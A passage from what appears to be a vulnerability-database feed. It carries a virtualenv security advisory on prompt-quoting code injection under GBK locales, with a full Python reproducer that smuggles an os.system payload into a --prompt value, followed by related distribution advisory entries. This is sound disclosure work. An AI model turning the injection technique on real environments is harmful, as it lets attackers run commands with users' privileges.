statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"\u003ccode_set_name\u003e GBK\", \"\u003ccomment_char\u003e %\", \"\u003cescape_char\u003e /\", \"\u003cmb_cur_min\u003e 1\", \"\u003cmb_cur_max\u003e 2\", \"CHARMAP\"]\ncharmap += [f\"\u003cU{byte:04X}\u003e /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"\u003cU{ord(char):04X}\u003e /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper \u003cU0041\u003e..\u003cU005A\u003e\nlower \u003cU0061\u003e..\u003cU007A\u003e\ndigit \u003cU0030\u003e..\u003cU0039\u003e\nspace \u003cU0009\u003e..\u003cU000D\u003e;\u003cU0020\u003e\ncntrl \u003cU0000\u003e..\u003cU001F\u003e;\u003cU007F\u003e\npunct \u003cU0021\u003e..\u003cU002F\u003e;\u003cU003A\u003e..\u003cU0040\u003e;\u003cU005B\u003e..\u003cU0060\u003e;\u003cU007B\u003e..\u003cU007E\u003e\nxdigit \u003cU0030\u003e..\u003cU0039\u003e;\u003cU0041\u003e..\u003cU0046\u003e;\u003cU0061\u003e..\u003cU0066\u003e\nblank \u003cU0009\u003e;\u003cU0020\u003e\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","status":"published","published":"2026-10-23T22:24:43Z","modified":"2026-10-29T10:55:57.228294866Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"UBUNTU-CVE-2026-113718","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:00Z","modified":"2026-10-28T20:17:44.550955204Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:55:59.591851Z"},{"id":"AZL-112589","title":"CVE-2026-113718 affecting package python-virtualenv 20.36.1-9","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18Z","modified":"2026-11-03T14:18:14.025601049Z","updated_at":"2026-11-03T14:35:32.508422Z"},{"id":"BIT-virtualenv-2026-113718","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-29T09:00:33.381Z","modified":"2026-10-29T10:55:57.228294866Z","updated_at":"2026-11-02T15:28:36.104787Z"},{"id":"openSUSE-SU-2026:12372-1","title":"python313-virtualenv-21.15.1-1.1 on GA media","description":"These are all security issues fixed in the python313-virtualenv-21.15.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-30T00:00:00Z","modified":"2026-10-31T18:00:07.440229022Z","updated_at":"2026-11-02T16:58:41.463445Z"}]}}
